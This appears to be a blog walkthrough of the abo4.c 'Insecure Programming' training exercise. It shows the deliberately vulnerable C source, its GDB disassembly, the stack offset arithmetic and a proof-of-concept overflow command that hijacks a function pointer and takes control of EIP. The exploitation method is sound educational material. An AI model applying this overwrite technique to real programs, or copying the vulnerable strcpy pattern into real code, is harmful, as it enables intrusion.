Insecure Programming by Example: abo4.c POINTER MADNESS

Introduction

I love sensational titles.

Here is abo4.c:

/* abo4.c                                                    *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* After this one, the next is just an Eureka! away          */

extern system,puts;
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv,char **argc) {
	char *pbuf=malloc(strlen(argc[2])+1);
	char buf[256];

	fn=(void(*)(char*))&puts;
	strcpy(buf,argc[1]);
	strcpy(pbuf,argc[2]);
	fn(argc[3]);
	while(1);
}

Gera says:

oh pointers, pointers!
Do you remember when you had problems with * and &? everybody has that kind of problems at least once when learning C, what about poiners to pointers? let’s see…

There are a few elements of this that we should go over before we review the disassembly itself, though of course that will prove to be the most fruitful way to attack most problems like this it seems to me there’s lots of C here that we haven’t seen before.

First, let’s address the use of the extern keyword. From what I can tell, this was declared so that we could utilize the unary address-of operator on functions imported from the header file stdio.h and whatever the heck contains system. I’d love to be corrected, I’m no C ninja, but other than that I can’t see the point of it. Some documentation on extern is available here, if you want to peruse it on your own…this is what led me to this conclusion.

Now for the life of me, I can’t figure out what the heck he’s doing on the next line with the void pointer to system, I should email him and ask but I hear he’s a busy guy ;-). Maybe that one will come out in the comments as well. The pointer bits are important though, as we’ll see in a bit.

The last thing we should mention here is the usage within main of malloc to allocate a buffer, as I think this is the first time it’s come up. Documentation on the usage of malloc can be found here, essentially what this code is doing is naming a pointer of type char (1 byte size, for the purposes of pointer arithmetic), and pointing this pointer to the value returned by malloc. The value returned by malloc based on reading it’s arguments is the length of the second argument submitted to main plus one byte…this is done to allow for strcpy to include the NULL byte at the end of the string submitted as the argument, otherwise you might get more than you intended in this chunk of memory.

In the Debugger

Now let’s take a look at the disassembly of the program itself once it’s compiled in GCC, using our favorite debugger GDB.

(gdb) disassemble main
Dump of assembler code for function main:
0x08048444 : push ebp
0x08048445 : mov ebp,esp
0x08048447 <main+3>: sub esp,0x128
0x0804844d : and esp,0xfffffff0
0x08048450 : mov eax,0x0
0x08048455 : sub esp,eax
0x08048457 : mov eax,DWORD PTR [ebp+12]
0x0804845a : add eax,0x8
0x0804845d : mov eax,DWORD PTR [eax]
0x0804845f : mov DWORD PTR [esp],eax
0x08048462 <main+30>: call 0x8048340 <strlen@plt>
0x08048467 : inc eax
0x08048468 : mov DWORD PTR [esp],eax
0x0804846b : call 0x8048360
0x08048470 : mov DWORD PTR [ebp-12],eax
0x08048473 : mov DWORD PTR ds:0x80496bc,0x8048370
0x0804847d : mov eax,DWORD PTR [ebp+12]
0x08048480 : add eax,0x4
0x08048483 : mov eax,DWORD PTR [eax]
0x08048485 : mov DWORD PTR [esp+4],eax
0x08048489 : lea eax,[ebp-0x118]
0x0804848f : mov DWORD PTR [esp],eax
0x08048492 <main+78>: call 0x8048350 <strcpy@plt>
0x08048497 : mov eax,DWORD PTR [ebp+12]
0x0804849a : add eax,0x8
0x0804849d : mov eax,DWORD PTR [eax]
0x0804849f : mov DWORD PTR [esp+4],eax
0x080484a3 : mov eax,DWORD PTR [ebp-12]
0x080484a6 : mov DWORD PTR [esp],eax
0x080484a9 : call 0x8048350
0x080484ae : mov eax,DWORD PTR [ebp+12]
0x080484b1 : add eax,0xc
0x080484b4 : mov eax,DWORD PTR [eax]
0x080484b6 : mov DWORD PTR [esp],eax
0x080484b9 : mov eax,ds:0x80496bc
0x080484be : call eax
0x080484c0 : jmp 0x80484c0
End of assembler dump.

I’ve taken the liberty of highlighting the function calls. It seems to me that any time you see a call eax your ears should prick up. This is the spot where we have to exploit the program, as right after that you have an unconditional jump to itself, the infinite loop at the end of the program which prevents us from overwriting the saved return address and exploiting upon exit from main.

What we have with this program is essentially two insecure functions, and then a call to a program-defined function which is a pointer stored at 0x80496bc…if we can somehow modify what address is here, we can control execution of the program and win.

Draw the Stack

Let’s take a look at the variables on the stack, which we can likely control with our wonderful unbounded strcpy call.

(gdb) x
0xbffff730: 0x080481b0
(gdb) x
0xbffff83c: 0xb8000ff4
(gdb) x
0x80496bc : 0x08048320
(gdb) print 0xbffff83c - 0xbffff730
$1 = 268

Your spider sense should be tingling here. Let’s ask ourselves what the program is doing…first it copies via an insecure function an unbounded amount of data to the stack. The same stack that contains the pointer to which another insecure function will be used to copy to. This fatal combination of (intentional and educational!) errors allows us to write any amount of data we want to an arbitrary write-able location in the program’s memory. We can use this to our advantage and overwrite the address stored in the fn function pointer, and essentially execute wherever we wish.

Keeping in mind that the variables are 268 bytes away from each other, here is a proof-of-concept detailing the control of the EIP register. What we are doing is submitting the first argument (the string copied by the first copy function) as a 272-byte string, 268 bytes of junk to get us to the overwrite of the location of pbuf and then the address of the fn pointer. Then we’ll submit the second argument which is what will overwrite fn as 0x41414141 or “AAAA”. The third argument we’ll submit but leave alone as it will never get used. Upon execution, it attempts to call the value stored at fn, and segfaults. Examining EIP proves our control of execution. If you want to take this one all the way, you could follow the tried-and-true technique of storing shellcode to execute in an environment variable and determining it’s address with a special program, a technique I detailed in the abo1.c post I did some time ago. Happy hunting!

(gdb) run $(perl -e 'print "A" x 268 . "\xbc\x96\x04\x08";') AAAA three
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/hacking/InsecureProgramming/abo4 $(perl -e 'print "A" x 268 . "\xbc\x96\x04\x08";') AAAA three

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x $eip
0x41414141: Cannot access memory at address 0x41414141
(gdb) x
0x80496bc <fn>: 0x41414141
Advertisements

2 responses

  1. […] mishou.org A site about learning. Skip to content AboutBooks & Pubs « Insecure Programming by Example: abo4.c POINTER MADNESS […]

  2. […] Like many other problems there can be multiple ways to solve this one. In one approach, the second strcpy() is used to write the address of an environment variable which contains the shellcode. http://mishou.org/2010/08/09/insecure-programming-by-example-abo4-c-pointer-madness/ […]

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: